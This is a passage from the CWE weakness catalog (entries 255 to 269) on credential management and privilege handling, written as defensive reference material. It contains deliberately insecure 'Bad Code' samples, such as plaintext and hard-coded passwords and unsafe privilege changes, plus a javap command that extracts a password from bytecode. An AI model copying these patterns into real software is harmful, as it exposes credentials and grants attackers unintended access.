ParentOf	We	*654*	*Reliance on a Single Factor in a Security Decision*	*699*	*641*
ParentOf	We	*655*	*Insufficient Psychological Acceptability*	*699*	*642*
ParentOf	We	*656*	*Reliance on Security through Obscurity*	*699*	*643*
ParentOf	Wc	*693*	*Protection Mechanism Failure*	***699***	*684*
MemberOf	V	*700*	*Seven Pernicious Kingdoms*	***700***	*689*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	Security Features

CWE-255: Credentials Management

Category ID: 255 *(Category)* **Status:** Draft

Description

Summary

Weaknesses in this category are related to the management of credentials.

Applicable Platforms

Languages

- All

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	254	Security Features	**699**	279

Nature	Type	ID	Name	V	Page
ChildOf		724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	**711**	717
ParentOf		*259*	*Hard-Coded Password*	***699***	*283*
ParentOf		*261*	*Weak Cryptography for Passwords*	***699***	*287*
ParentOf		*262*	*Not Using Password Aging*	***699***	*288*
ParentOf		*263*	*Password Aging with Long Expiration*	***699***	*289*
ParentOf		*521*	*Weak Password Requirements*	***699***	*537*
ParentOf		*522*	*Insufficiently Protected Credentials*	***699***	*537*
ParentOf		*549*	*Missing Password Field Masking*	***699***	*553*
ParentOf		*620*	*Unverified Password Change*	*699*	*605*
MemberOf	V	*635*	*Weaknesses Used by NVD*	***635***	*616*
ParentOf		*640*	*Weak Password Recovery Mechanism for Forgotten Password*	***699***	*622*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A3	CWE More Specific	Broken Authentication and Session Management

CWE-256: Plaintext Storage of a Password

Weakness ID: 256 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

Storing a password in plaintext may result in a system compromise.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- All

Likelihood of Exploit

Very High

Demonstrative Examples

Example 1:

The following code reads a password from a properties file and uses the password to connect to a database.

Bad Code

```
...
Properties prop = new Properties();
prop.load(new FileInputStream("config.properties"));
String password = prop.getProperty("password");
DriverManager.getConnection(url, usr, password);
...
```

This code will run successfully, but anyone who has access to config.properties can read the value of password. If a devious employee has access to this information, they can use it to break into the system.

Example 2:

The following code reads a password from the registry and uses the password to create a new network credential.

Bad Code

```
...
string password = regKey.GetValue(passKey).ToString());
NetworkCredential netCred = new NetworkCredential(username,password,domain);
...
```

This code will run successfully, but anyone who has access to the registry key used to store the password can read the value of password. If a devious employee has access to this information, they can use it to break into the system

Potential Mitigations

Avoid storing passwords in easily accessible locations.

Consider storing cryptographic hashes of passwords as an alternative to storing in plaintext.

Other Notes

Password management issues occur when a password is stored in plaintext in an application's properties or configuration file. A programmer can attempt to remedy the password management problem by obscuring the password with an encoding function, such as base 64 encoding, but this effort does not adequately protect the password. Storing a plaintext password in a configuration file allows anyone who can read the file access to the password-protected resource. Developers sometimes believe that they cannot defend the application from someone who has access to the configuration, but this attitude makes an attacker's job easier. Good password management guidelines require that a password never be stored in plaintext.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	254	Security Features	**700**	279
ChildOf	WE	522	Insufficiently Protected Credentials	**699** **1000**	537

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	Password Management

References

J. Viega and G. McGraw. "Building Secure Software: How to Avoid Security Problems the Right Way". 2002.

CWE-257: Storing Passwords in a Recoverable Format

Weakness ID: 257 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The storage of passwords in a recoverable format makes them subject to password reuse attacks by malicious users. If a system administrator can recover a password directly, or use a brute force search on the available information, the administrator can use the password on other accounts.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- All

Common Consequences

Confidentiality

User's passwords may be revealed.

Authentication

Revealed passwords may be reused elsewhere to impersonate the users in question.

Likelihood of Exploit

Very High

Demonstrative Examples

C/C++ Example: *Bad Code*

```
int VerifyAdmin(char *password) {
  if (strcmp(compress(password), compressed_password)) {
    printf("Incorrect Password!\n");
    return(0);
  }
  printf("Entering Diagnostic Mode...\n");
  return(1);
}
```

Java Example: *Bad Code*

```
int VerifyAdmin(String password) {
  if (passwd.Equals(compress(password), compressed_password)) {
    return(0);
  }
  //Diagnostic Mode
  return(1);
}
```

Potential Mitigations

Architecture and Design

Use strong, non-reversible encryption to protect stored passwords.

Other Notes

The use of recoverable passwords significantly increases the chance that passwords will be used maliciously. In fact, it should be noted that recoverable encrypted passwords provide no significant benefit over plain-text passwords since they are subject not only to reuse by malicious attackers but also by malicious insiders.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
PeerOf	Weakness	259	Hard-Coded Password	1000	283
ChildOf	Weakness	522	Insufficiently Protected Credentials	**699** **1000**	537

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Storing passwords in a recoverable format

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
49	Password Brute Forcing	

Maintenance Notes

The meaning of this node needs to be investigated more closely, especially with respect to what is meant by "recoverable."

CWE-258: Empty Password in Configuration File

Weakness ID: 258 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

Using an empty string as a password is insecure.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Likelihood of Exploit

Very High

Potential Mitigations

Passwords should be at least eight characters long -- the longer the better. Avoid passwords that are in any way similar to other passwords you have. Avoid using words that may be found in a dictionary, names book, on a map, etc. Consider incorporating numbers and/or punctuation into your password. If you do use common words, consider replacing letters in that word with numbers and punctuation. However, do not use "similar-looking" punctuation. For example, it is not a good idea to change cat to c@t, ca+, (@+, or anything similar.

Other Notes

It is never appropriate to use an empty string as a password. It is too easy to guess.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		254	Security Features	**700**	279
ChildOf	WM	260	Password in Configuration File	**699** **1000**	286
ChildOf	WE	521	Weak Password Requirements	1000	537

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	Password Management: Empty Password in Configuration File

References

J. Viega and G. McGraw. "Building Secure Software: How to Avoid Security Problems the Right Way". 2002.

CWE-259: Hard-Coded Password

Weakness ID: 259 *(Weakness Base)* **Status:** Draft

Description

Summary

The software contains a hard-coded password, which it uses for its own inbound authentication or for outbound communication to external components.

Extended Description

A hard-coded password typically leads to a significant authentication failure that can be difficult for the system administrator to detect. Once detected, it can be difficult to fix, so the administrator maybe forced into disabling the product entirely. There are two main variations:

Inbound: the software contains an authentication mechanism that checks for a hard-coded password.

Outbound: the software connects to another system or component, and it contains hard-coded password for connecting to that component.

In the Inbound variant, a default administration account is created, and a simple password is hard-coded into the product and associated with that account. This hard-coded password is the same for each installation of the product, and it usually cannot be changed or disabled by system administrators without manually modifying the program, or otherwise patching the software. If the password is ever discovered or published (a common occurrence on the Internet), then anybody with knowledge of this password can access the product. Finally, since all installations of the software will have the same password, even across different organizations, this enables massive attacks such as worms to take place.

The Outbound variant applies to front-end systems that authenticate with a back-end service. The back-end service may require a fixed password which can be easily discovered. The programmer may simply hard-code those back-end credentials into the front-end software. Any user of that program may be able to extract the password. Client-side systems with hard-coded passwords pose even more of a threat, since the extraction of a password from a binary is usually very simple.

Time of Introduction

- Implementation
- Architecture and Design

Applicable Platforms

Languages

- All

Common Consequences

Authentication

If hard-coded passwords are used, it is almost certain that malicious users will gain access through the account in question.

Likelihood of Exploit

Very High

Demonstrative Examples

Example 1:

The following code uses a hard-coded password to connect to a database:

Bad Code

```
...
DriverManager.getConnection(url, "scott", "tiger");
...
```

This is an example of an external hard-coded password on the client-side of a connection. This code will run successfully, but anyone who has access to it will have access to the password. Once the program has shipped, there is no going back from the database user "scott" with a password of "tiger" unless the program is patched. A devious employee with access to this information can use it to break into the system. Even worse, if attackers have access to the bytecode for application, they can use the javap -c command to access the disassembled code, which will contain the values of the passwords used. The result of this operation might look something like the following for the example above:

Attack

```
javap -c ConnMngr.class
  22: ldc #36; //String jdbc:mysql://ixne.com/rxsql
  24: ldc #38; //String scott
  26: ldc #17; //String tiger
```

Example 2:

The following code is an example of an internal hard-coded password in the back-end:

C/C++ Example:

Bad Code

```
int VerifyAdmin(char *password) {
  if (strcmp(password, "Mew!")) {
    printf("Incorrect Password!\n");
    return(0)
  }
  printf("Entering Diagnostic Mode...\n");
  return(1);
}
```

Java Example:

Bad Code

```
int VerifyAdmin(String password) {
  if (passwd.Equals("Mew!")) {
    return(0)
  }
```

```
  //Diagnostic Mode
  return(1);
}
```

Every instance of this program can be placed into diagnostic mode with the same password. Even worse is the fact that if this program is distributed as a binary-only distribution, it is very difficult to change that password or disable this "functionality."

Potential Mitigations

Architecture and Design

For outbound authentication: store passwords outside of the code in a strongly-protected, encrypted configuration file or database that is protected from access by all outsiders, including other local users on the same system. Properly protect the key (CWE-320). If you cannot use encryption to protect the file, then make sure that the permissions are as restrictive as possible.

Architecture and Design

For inbound authentication: Rather than hard-code a default username and password for first time logins, utilize a "first login" mode that requires the user to enter a unique strong password.

Architecture and Design

Perform access control checks and limit which entities can access the feature that requires the hard-coded password. For example, a feature might only be enabled through the system console instead of through a network connection.

Architecture and Design

For inbound authentication: apply strong one-way hashes to your passwords and store those hashes in a configuration file or database with appropriate access control. That way, theft of the file/database still requires the attacker to try to crack the password. When handling an incoming password during authentication, take the hash of the password and compare it to the hash that you have saved.

Use randomly assigned salts for each separate hash that you generate. This increases the amount of computation that an attacker needs to conduct a brute-force attack, possibly limiting the effectiveness of the rainbow table method.

Architecture and Design

For front-end to back-end connections: Three solutions are possible, although none are complete.

The first suggestion involves the use of generated passwords which are changed automatically and must be entered at given time intervals by a system administrator. These passwords will be held in memory and only be valid for the time intervals.

Next, the passwords used should be limited at the back end to only performing actions valid for the front end, as opposed to having full access.

Finally, the messages sent should be tagged and checksummed with time sensitive values so as to prevent replay style attacks.

Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Testing

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.

Attach the monitor to the process and perform a login. Using disassembled code, look at the associated instructions and see if any of them appear to be comparing the input to a fixed string or value.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	254	Security Features	**700**	279
ChildOf	C	255	Credentials Management	**699**	279
PeerOf	Wa	257	Storing Passwords in a Recoverable Format	1000	281
PeerOf	Wa	321	Use of Hard-coded Cryptographic Key	1000	344
ChildOf	Wa	344	Use of Invariant Value in Dynamically Changing Context	**1000**	366
ChildOf	Wc	671	Lack of Administrator Control over Security	1000	660
ChildOf	C	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	**711**	717
ChildOf	C	753	Porous Defenses	**750**	733
MemberOf	V	*630*	*Weaknesses Examined by SAMATE*	***630***	*614*
CanFollow	Wa	*656*	*Reliance on Security through Obscurity*	*1000*	*643*

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Password Management: Hard-Coded Password
CLASP			Use of hard-coded password
OWASP Top Ten 2004	A3	CWE More Specific	Broken Authentication and Session Management

White Box Definitions

Definition: A weakness where code path has:

1. end statement that passes a data item to a password function
2. start statement that initializes the data item with a literal or literals

Maintenance Notes

This entry should probably be split into multiple variants: an inbound variant (as seen in the second demonstrative example) and an outbound variant (as seen in the first demonstrative example). These variants are likely to have different consequences, detectability, etc. See extended description.

CWE-260: Password in Configuration File

Weakness ID: 260 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The software stores a password in a configuration file that might be accessible to actors who do not know the password.

Extended Description

This can result in compromise of the system for which the password is used. An attacker could gain access to this file and learn the stored password or worse yet, change the password to one of their choosing.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Demonstrative Examples

Below is a snippet from a Java properties file in which the LDAP server password is stored in plaintext.

Java Example: *Bad Code*

```
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
```

Potential Mitigations

Avoid storing passwords in easily accessible locations.

Consider storing cryptographic hashes of passwords as an alternative to storing in plaintext.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	254	Security Features	699 **700**	279
ChildOf	WE	522	Insufficiently Protected Credentials	**699** **1000**	537
ChildOf	C	632	Weaknesses that Affect Files or Directories	**631**	615
ParentOf	WV	*13*	*ASP.NET Misconfiguration: Password in Configuration File*	***1000***	*9*
ParentOf	WV	*258*	*Empty Password in Configuration File*	***699*** ***1000***	*282*

Affected Resources

- File/Directory

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	Password Management: Password in Configuration File

References

J. Viega and G. McGraw. "Building Secure Software: How to Avoid Security Problems the Right Way". 2002.

CWE-261: Weak Cryptography for Passwords

Weakness ID: 261 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

Obscuring a password with a trivial encoding does not protect the password.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- All

Demonstrative Examples

Example 1:

The following code reads a password from a properties file and uses the password to connect to a database.

Bad Code

```
...
Properties prop = new Properties();
prop.load(new FileInputStream("config.properties"));
String password = Base64.decode(prop.getProperty("password"));
DriverManager.getConnection(url, usr, password);
...
```

This code will run successfully, but anyone with access to config.properties can read the value of password and easily determine that the value has been base 64 encoded. If a devious employee has access to this information, they can use it to break into the system.

Example 2:

The following code reads a password from the registry and uses the password to create a new network credential.

Bad Code

```
...
string value = regKey.GetValue(passKey).ToString();
byte[] decVal = Convert.FromBase64String(value);
NetworkCredential netCred = newNetworkCredential(username,decVal.toString(),domain);
...
```

This code will run successfully, but anyone who has access to the registry key used to store the password can read the value of password. If a devious employee has access to this information, they can use it to break into the system.

Potential Mitigations

Passwords should be encrypted with keys that are at least 128 bits in length for adequate security.

Other Notes

Password management issues occur when a password is stored in plaintext in an application's properties or configuration file. A programmer can attempt to remedy the password management problem by obscuring the password with an encoding function, such as base 64 encoding, but this effort does not adequately protect the password.

The "crypt" family of functions uses weak cryptographic algorithms and should be avoided. It may be present in some projects for compatibility.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	254	Security Features	**700**	279
ChildOf	C	255	Credentials Management	**699**	279
ChildOf	Wc	326	Weak Encryption	699 **1000**	349
ChildOf	C	729	OWASP Top Ten 2004 Category A8 - Insecure Storage	**711**	719

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Password Management: Weak Cryptography
OWASP Top Ten 2004	A8	CWE More Specific	Insecure Storage

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
55	Rainbow Table Password Cracking	

References

J. Viega and G. McGraw. "Building Secure Software: How to Avoid Security Problems the Right Way". 2002.

CWE-262: Not Using Password Aging

Weakness ID: 262 *(Weakness Variant)* **Status:** Draft

Description

Summary

If no mechanism is in place for managing password aging, users will have no incentive to update passwords in a timely manner.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- All

Common Consequences

Authentication

As passwords age, the probability that they are compromised grows.

Likelihood of Exploit

Very Low

Demonstrative Examples

Example 1:

A common example is not having a system to terminate old employee accounts.

Example 2:

Not having a system for enforcing the changing of passwords every certain period.

Potential Mitigations

Architecture and Design

Ensure that password aging functionality is added to the design of the system, including an alert previous to the time the password is considered obsolete, and useful information for the user concerning the importance of password renewal, and the method.

Other Notes

The recommendation that users change their passwords regularly and do not reuse passwords is universal among security experts. In order to enforce this, it is useful to have a mechanism that notifies users when passwords are considered old and that requests that they replace them with new, strong passwords. In order for this functionality to be useful, however, it must be accompanied with documentation which stresses how important this practice is and which makes the entire process as simple as possible for the user.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		255	Credentials Management	**699**	279
PeerOf	We	263	Password Aging with Long Expiration	1000	289
PeerOf	We	309	Use of Password System for Primary Authentication	1000	334
PeerOf	We	324	Use of a Key Past its Expiration Date	1000	348
ChildOf	We	404	Improper Resource Shutdown or Release	**1000**	431
ChildOf	We	693	Protection Mechanism Failure	1000	684

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Not allowing password aging

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
16	Dictionary-based Password Attack	
49	Password Brute Forcing	
55	Rainbow Table Password Cracking	
70	Try Common(default) Usernames and Passwords	

CWE-263: Password Aging with Long Expiration

Weakness ID: 263 *(Weakness Base)* **Status:** Draft

Description

Summary

Allowing password aging to occur unchecked can result in the possibility of diminished password integrity.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- All

Common Consequences

Authentication

As passwords age, the probability that they are compromised grows.

Likelihood of Exploit

Very Low

Demonstrative Examples

Example 1:

A common example is not having a system to terminate old employee accounts.

Example 2:

Not having a system for enforcing the changing of passwords every certain period.

Potential Mitigations

Architecture and Design

Ensure that password aging is limited so that there is a defined maximum age for passwords and so that the user is notified several times leading up to the password expiration.

Other Notes

Just as neglecting to include functionality for the management of password aging is dangerous, so is allowing password aging to continue unchecked. Passwords must be given a maximum life span, after which a user is required to update with a new and different password.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	255	Credentials Management	**699**	279
ChildOf	Weakness	404	Improper Resource Shutdown or Release	**1000**	431
PeerOf	Weakness	*262*	*Not Using Password Aging*	*1000*	*288*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Allowing password aging

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
16	Dictionary-based Password Attack	
49	Password Brute Forcing	
55	Rainbow Table Password Cracking	
70	Try Common(default) Usernames and Passwords	

CWE-264: Permissions, Privileges, and Access Controls

Category ID: 264 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Applicable Platforms

Languages

- All

Potential Mitigations

Follow the principle of least privilege when assigning access rights to entities in a software system.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	254	Security Features	**699**	279
ParentOf	Weakness	*250*	*Execution with Unnecessary Privileges*	*699*	*271*
ParentOf	C	*265*	*Privilege / Sandbox Issues*	***699***	*291*
ParentOf	C	*275*	*Permission Issues*	***699***	*302*
ParentOf	Weakness	*282*	*Improper Ownership Management*	***699***	*307*
CanAlsoBe	Weakness	*283*	*Unverified Ownership*	*1000*	*308*
ParentOf	Weakness	*284*	*Access Control (Authorization) Issues*	***699***	*309*
ParentOf	Weakness	*286*	*Incorrect User Management*	***699***	*312*
MemberOf	V	*635*	*Weaknesses Used by NVD*	***635***	*616*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Permissions, Privileges, and ACLs

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 1.2)
5	Analog In-band Switching Signals (aka Blue Boxing)	
17	Accessing, Modifying or Executing Executable Files	
35	Leverage Executable Code in Nonexecutable Files	
58	Restful Privilege Elevation	
69	Target Programs with Elevated Privileges	
76	Manipulating Input to File System Calls	

CWE-265: Privilege / Sandbox Issues

Category ID: 265 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category occur with improper enforcement of sandbox environments, or the improper handling, assignment, or management of privileges.

Potential Mitigations

Very carefully manage the setting, management and handling of privileges. Explicitly manage trust zones in the software.

Follow the principle of least privilege when assigning access rights to entities in a software system.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		264	Permissions, Privileges, and Access Controls	**699**	290
PeerOf	We	*250*	*Execution with Unnecessary Privileges*	*1000*	*271*
ParentOf	We	*266*	*Incorrect Privilege Assignment*	***699***	*291*
ParentOf	We	*267*	*Privilege Defined With Unsafe Actions*	***699***	*293*
ParentOf	We	*268*	*Privilege Chaining*	***699***	*294*
ParentOf	We	*269*	*Improper Privilege Management*	***699***	*295*
ParentOf	We	*271*	*Privilege Dropping / Lowering Errors*	***699***	*296*
ParentOf	We	*274*	*Improper Handling of Insufficient Privileges*	***699***	*301*
ParentOf	We	*610*	*Externally Controlled Reference to a Resource in Another Sphere*	***699***	*597*
PeerOf	We	*619*	*Dangling Database Cursor ('Cursor Injection')*	*1000*	*604*
ParentOf	We	*648*	*Incorrect Use of Privileged APIs*	***699***	*634*

Relationship Notes

This can strongly overlap authorization errors.

Research Gaps

Many of the following concepts require deeper study. Most privilege problems are not classified at such a low level of detail, and terminology is very sparse. Certain classes of software, such as web browsers and software bug trackers, provide a rich set of examples for further research. Operating systems have matured to the point that these kinds of weaknesses are rare, but finer-grained models for privileges, capabilities, or roles might introduce subtler issues.

Theoretical Notes

A sandbox could be regarded as an explicitly defined sphere of control, in that the sandbox only defines a limited set of behaviors, which can only access a limited set of resources.

It could be argued that any privilege problem occurs within the context of a sandbox.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Privilege / sandbox errors

CWE-266: Incorrect Privilege Assignment

Weakness ID: 266 *(Weakness Base)* **Status:** Draft

Description

Summary

A product incorrectly assigns a privilege to a particular actor, creating an unintended sphere of control for that actor.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Demonstrative Examples

Evidence of privilege change:

C Example: *Bad Code*

```
seteuid(0);
/* do some stuff */
seteuid(getuid());
```

Java Example: *Bad Code*

```
AccessController.doPrivileged(new PrivilegedAction() {
  public Object run() {
    // privileged code goes here, for example:
    System.loadLibrary("awt");
    return null;
    // nothing to return
  }
```

Observed Examples

Reference	Description
CVE-1999-1193	untrusted user placed in unix "wheel" group
CVE-2004-0274	Product mistakenly assigns a particular status to an entity, leading to increased privileges.
CVE-2005-2496	Product uses group ID of a user instead of the group, causing it to run with different privileges. This is resultant from some other unknown issue.
CVE-2005-2741	Product allows users to grant themselves certain rights that can be used to escalate privileges.

Potential Mitigations

Very carefully manage the setting, management and handling of privileges. Explicitly manage trust zones in the software.

Follow the principle of least privilege when assigning access rights to entities in a software system.

Weakness Ordinalities

Resultant *(where the weakness is typically related to the presence of some other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	265	Privilege / Sandbox Issues	**699**	291
ChildOf	Wa	269	Improper Privilege Management	**1000**	295
CanAlsoBe	Wc	286	Incorrect User Management	1000	312
ChildOf	C	634	Weaknesses that Affect System Processes	**631**	616
ChildOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	**711**	716
ParentOf	Wv	*9*	*J2EE Misconfiguration: Weak Access Permissions for EJB Methods*	***1000***	*6*
ParentOf	Wv	*520*	*.NET Misconfiguration: Use of Impersonation*	***1000***	*536*
ParentOf	Wv	*556*	*ASP.NET Misconfiguration: Use of Identity Impersonation*	***1000***	*558*

Affected Resources

- System Process

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Incorrect Privilege Assignment

CWE-267: Privilege Defined With Unsafe Actions

Weakness ID: 267 *(Weakness Base)* **Status:** Incomplete

Description

Summary

A particular privilege, role, capability, or right can be used to perform unsafe actions that were not intended, even when it is assigned to the correct entity.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2000-0315	Traceroute program allows unprivileged users to modify source address of packet (Accessible entities).
CVE-2000-0506	User with capability can prevent setuid program from dropping privileges (Unsafe privileged actions).
CVE-2000-1212	User with privilege can edit raw underlying object using unprotected method (Unsafe privileged actions).
CVE-2001-1166	User with debugging rights can read entire process (Unsafe privileged actions).
CVE-2001-1480	Untrusted entity allowed to access the system clipboard (Unsafe privileged actions).
CVE-2001-1551	Extra Linux capability allows bypass of system-specified restriction (Unsafe privileged actions).
CVE-2002-1145	"public" database user can use stored procedure to modify data controlled by the database owner (Unsafe privileged actions).
CVE-2002-1154	Script does not restrict access to an update command, leading to resultant disk consumption and filled error logs (Accessible entities).
CVE-2002-1671	Untrusted object/method gets access to clipboard (Accessible entities).
CVE-2002-1981	Roles have access to dangerous procedures (Accessible entities).
CVE-2002-2042	Allows attachment to and modification of privileged processes (Unsafe privileged actions).
CVE-2004-0380	Bypass domain restrictions using a particular file that references unsafe URI schemes (Accessible entities).
CVE-2004-2204	Gain privileges using functions/tags that should be restricted (Accessible entities).
CVE-2005-1742	Inappropriate actions allowed by a particular role(Unsafe privileged actions).
CVE-2005-1816	Non-root admins can add themselves or others to the root admin group (Unsafe privileged actions).
CVE-2005-2027	Certain debugging commands not restricted to just the administrator, allowing registry modification and infoleak (Unsafe privileged actions).
CVE-2005-2173	Users can change certain properties of objects to perform otherwise unauthorized actions (Unsafe privileged actions).

Potential Mitigations

Very carefully manage the setting, management and handling of privileges. Explicitly manage trust zones in the software.

Follow the principle of least privilege when assigning access rights to entities in a software system.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		265	Privilege / Sandbox Issues	**699**	291
ChildOf		269	Improper Privilege Management	**1000**	295
ParentOf		*623*	*Unsafe ActiveX Control Marked Safe For Scripting*	***699 1000***	*607*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Unsafe Privilege

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
58	Restful Privilege Elevation	

Maintenance Notes

This overlaps authorization and access control problems.

Note: there are 2 separate sub-categories here:

- privilege incorrectly allows entities to perform certain actions
- object is incorrectly accessible to entities with a given privilege

CWE-268: Privilege Chaining

Weakness ID: 268 *(Weakness Base)* **Status:** Draft

Description

Summary

Two distinct privileges, roles, capabilities, or rights can be combined in a way that allows an entity to perform unsafe actions that would not be allowed without that combination.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Likelihood of Exploit

High

Observed Examples

Reference	Description
CVE-2002-1772	Gain certain rights via privilege chaining in alternate channel.
CVE-2003-0640	"operator" user can overwrite usernames and passwords to gain admin privileges.
CVE-2005-1736	Chaining of user rights.
CVE-2005-1973	Application is allowed to assign extra permissions to itself.

Potential Mitigations

Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.

Very carefully manage the setting, management and handling of privileges. Explicitly manage trust zones in the software.

Follow the principle of least privilege when assigning access rights to entities in a software system.

Other Notes

It is difficult to find good examples for this weakness.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	265	Privilege / Sandbox Issues	**699**	291
ChildOf	Weak	269	Improper Privilege Management	**1000**	295
ChildOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	**711**	716

Relationship Notes

There is some conceptual overlap with Unsafe Privilege.

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Privilege Chaining

CWE-269: Insecure Privilege Management

Weakness ID: 269 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software does not properly assign, modify, or track privileges for an actor, creating an unintended sphere of control for that actor.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Likelihood of Exploit

Medium

Observed Examples

Reference	Description
CVE-2001-0128	Does not properly compute roles.
CVE-2001-1514	Does not properly pass security context to child processes in certain cases, allows privilege escalation.
CVE-2001-1555	Terminal privileges are not reset when a user logs out.

Potential Mitigations

Very carefully manage the setting, management and handling of privileges. Explicitly manage trust zones in the software.

Follow the principle of least privilege when assigning access rights to entities in a software system.

Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	265	Privilege / Sandbox Issues	**699**	291
ChildOf	Wc	668	Exposure of Resource to Wrong Sphere	1000	658
ChildOf	Wc	693	Protection Mechanism Failure	**1000**	684
ParentOf	Wc	*250*	*Execution with Unnecessary Privileges*	*1000*	*271*
ParentOf	We	*266*	*Incorrect Privilege Assignment*	***1000***	*291*
ParentOf	We	*267*	*Privilege Defined With Unsafe Actions*	***1000***	*293*
ParentOf	We	*268*	*Privilege Chaining*	***1000***	*294*
ParentOf	We	*270*	*Privilege Context Switching Error*	***699*** ***1000***	*296*
ParentOf	Wc	*271*	*Privilege Dropping / Lowering Errors*	***1000***	*296*
ParentOf	We	*274*	*Improper Handling of Insufficient Privileges*	*1000*	*301*
ParentOf	We	*648*	*Incorrect Use of Privileged APIs*	***1000***	*634*

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Privilege Management Error

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
58	Restful Privilege Elevation	

Maintenance Notes

The relationships between privileges, permissions, and actors (e.g. users and groups) need further refinement within the Research view. One complication is that these concepts apply to two different pillars, related to control of resources (CWE-664) and protection mechanism failures (CWE-396).

